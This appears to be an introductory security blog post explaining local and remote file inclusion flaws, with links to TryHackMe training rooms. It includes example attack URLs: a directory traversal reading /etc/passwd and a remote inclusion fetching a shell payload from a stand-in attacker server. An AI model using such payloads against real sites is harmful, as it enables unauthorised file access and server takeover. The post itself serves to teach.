In some situations, a web application will allow a user to access a file stored on the server (such as a text file or a PDF document) and display or render its content to the web page viewed by the user.
Imagine a web site that lets users upload their resume and allows hiring managers to browse and display these documents.
Typically, they would navigate the web site and click on a link to access the requested document. Their browser’s address bar would display someting like this:
http://targetsite.com/get.php?file=userCV.pdf
Now if a malicious user is able to manipulate the URL in their browser’s address bar to access a different file elsewhere on the server, then this is a file inclusion vulnerability.
By exploiting a file inclusion vulnerability, a malicious user could access and display the content of sensitive files on the system.
How do you do it?
In many cases, a web application will store its files in /var/www/app.
By using a directory traversal technique, the attacker will try to move up the server’s directory tree, all the way to the root of the file system, then down towards the file they want to display.
For a web site hosted on a linux server, this would look like this:
http://targetsite.com/get.php?file=../../../../etc/passwd
Every ../ sequence moves you up one step in the directory tree. Just to be on the safe side, you may want to add one or two ../ sequences to be sure to reach the root of the file system.
Then the /etc/passwd part take you down to the file you want to acces (the passwd file in the present case).
Local file inclusion (LFI) vs Remote file inclusion (RFI)
There are two main flavors of file inclusion attacks.
If the malicious user is able to leverage a file inclusion vulnerability to acces a file on the same server, then it’s a local file inclusion, or LFI.
This is bad enough. But in some instances, the same malicious user will also be able to access files hosted on a different server, using a link that will look something like this:
http://targetsite.com/get.php?file=http://attackerserver.com/cmd.exe
Suppose http://attackerserver.com is a rogue web site that belongs to the malicious user and that cmd.exe contains code that will allow the user to open a shell on the target system with admin rights, this may lead to a web site takeover.
Not always this easy…
Of course, things in real life usually won’t be as easy. Most web developers will sanitize user input so as to limit and hopefully eliminate the possibility of a file inclusion.
Different tactics exist, such as adding filters to eliminate ../ sequences in the URL, or limiting access to certain directories, or turning off certain PHP features known to facilitate file inclusion attacks. A WAF (web application firewall) may also be set up.
But many of these protections can be bypassed if you know what to do.
What next?
Want to take things further?
There is a File Inclusion room in TryHackMe’s Jr Penetration Tester learning path that is worth checking out.
There is also a section on file inclusion in TryHackMe’s Advent of Cyber 3 challenge (see task 6).
Additionally, take a look at John Hammond’s video walkthrough of an Inclusion room on TryHackMe. As far as I know, the room doesn’t exist anymore but John’s methodology is definitely worth a watch.
